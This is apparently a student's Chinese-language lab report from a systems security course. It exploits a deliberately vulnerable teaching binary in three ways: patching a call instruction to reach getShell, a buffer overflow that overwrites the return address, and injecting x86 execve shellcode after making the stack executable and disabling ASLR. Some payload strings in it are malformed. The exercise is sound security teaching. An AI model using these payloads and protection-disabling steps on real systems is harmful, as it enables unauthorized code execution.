20222311 2024-2025-1 《网络与系统攻防技术》实验一实验报告
20222311 2024-2025-1 《网络与系统攻防技术》实验一实验报告
1.实验内容
本次实验主要内容为 BOF 注入攻击,任务如下:
-
掌握反汇编及其指令
-
修改程序的机器指令,从而实现 BOF 注入攻击
-
注入一段 Shellcode,以实现 BOF 注入攻击
2.实验过程
任务 1:修改可执行文件机器指令,改变程序执行流程
(一)把pwn1文件改名为pwn20222311,下载目标文件pwn20222311反汇编。
(二)接着使用 vi 工具(vi pwn20222311)进入该文件进行修改,如下:
(三)以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
8.再反汇编看一下,call指令是否正确调用getShell
root@KaliYL:~# objdump -d pwn20222311 | more
9.运行下改后的代码,会得到shell提示符#
任务 2:通过 BOF 注入攻击,实现改变程序执行流程
(一)安装gdb,使用sudo apt update和sudo apt install gdb命令安装gdb
(二)安装完成后对pwn20222311-2进行gdb调试,输入1111111122222222333333334444444455555555时可以看到eip的值0x35353535,也就是5555的ASCII码。
输入命令 info r查看寄存器eip的值,确认输入字符串哪几个字符会覆盖到返回地址。
(三)把1234换成getShell的地址0x0804847d,我们需要输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20222311
生成一个包含这些16进制内容的文件(\x0a表示回车);
使用16进制查看指令xxd input20222311查看input文件的内容
确认无误后使用(cat input20222311;cat) | ./pwn20222311-2将input中的字符串作为可执行文件的输入。
成功获取shell,即成功调用了getShell函数。
任务 3:通过 BOF 注入攻击,注入 Shellcode 并执行。
(1)首先需要在学习通平台下载资源,解压后将文件夹传输到虚拟机中;然后,依次输入以下命令
①sudo apt-get install libelf-dev
②./configure
③make
④sudo make install
完成execstack的安装
(二)通过以下命令修改设置
1.execstack -s pwn20222311-5设置堆栈可执行
2.execstack -q pwn20222311-5 查询文件的堆栈是否可执行
3.more /proc/sys/kernel/randomize_va_space 查看地址随机化的状态
4.echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
5.more /proc/sys/kernel/randomize_va_space
(三)构造要使用的payload。Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:
Perl -e print'"\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入命令(cat input_shellcode; cat) | ./pwn20222311-5将input_shellcode的输入内容作为pwn20222311-5的输入
(四)新打开一个新终端,输入ps -ef | grep pwn20222311-5,查看pwn20222311-5文件的进程以及进程号。
可以看到,进程号分别为5875和6104。
此后,再在这个新终端中使用gdb对pwn20222311-5进行调试,来获取foo函数中returnaddress的位置。
输入命令attach 5875,输入刚刚查找的进程号
输入命令disassemble foo,反编译foo函数并进行分析
可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析
输入命令break *0x080484ae
在另外一个终端中按下回车
在新终端输入c,c表示continue继续运行
输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffd37c;
栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffcfac+4=0xffffd380。
现在可以进行shellcode的注入,最终获取shell。将0x04030201换成上述我们计算出来的位置0xffffd380,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入
perl -e print'"\80\d3\ff\ff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
然后再输入(cat input_shellcode; cat) | ./pwn20222311-5,将input_shellcode的输入内容作为pwn20222317-5的输入。
3.问题及解决方案
- 问题 1:在进行任务 1 时,查询十六进制文本时,按照指导书使用“/e8d3”无法查询到相应内容。
解决方案:查询“d3ff”就能查到该内容。 - 问题2:一开始输入./configure报错
解决方案:使用命令cd prelink转换目录
- 问题3:一开始没有把下载好的prelink移到虚拟机的桌面
解决方案,把prelink移到桌面后得以解决 - 问题4:在输入perl -e 'print "A" x 32;print' "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode代码时出现了错误
解决方案:仔细检查代码后发现少了一个引号,补充完整后正常运行。
4.学习感悟、思考等
在实验中,我首先分析了pwn程序的执行流程,了解到程序的main函数会调用foo函数,而foo函数会回显用户输入的字符串。这个简单的功能背后隐藏着一个秘密:一个名为getShell的代码片段,它能够返回一个Shell,但在正常情况下不会被执行。通过这次实践,我学习了两种方法来触发getShell函数的执行。第一种方法是通过缓冲区溢出攻击,通过精心构造的输入覆盖程序的控制流,使得程序跳转到getShell函数的地址上执行。第二种方法涉及到了对程序二进制文件的修改,通过直接修改程序的控制流来实现对getShell函数的调用。在这个过程中,我深刻体会到了逆向工程的魅力。通过分析程序的二进制代码,我能够理解程序的工作原理,并且找到了操纵程序执行流程的方法。这不仅仅是技术上的挑战,更是对逻辑思维和耐心的考验。此外,我还学习了如何注入并执行任意的Shellcode。这让我意识到了系统安全的重要性,以及攻击者可能利用的漏洞。通过这次实验,我更加明白了作为一名网络空间安全专业的学生,我需要不断学习新的安全技术和防御措施,以保护我们的系统不受攻击。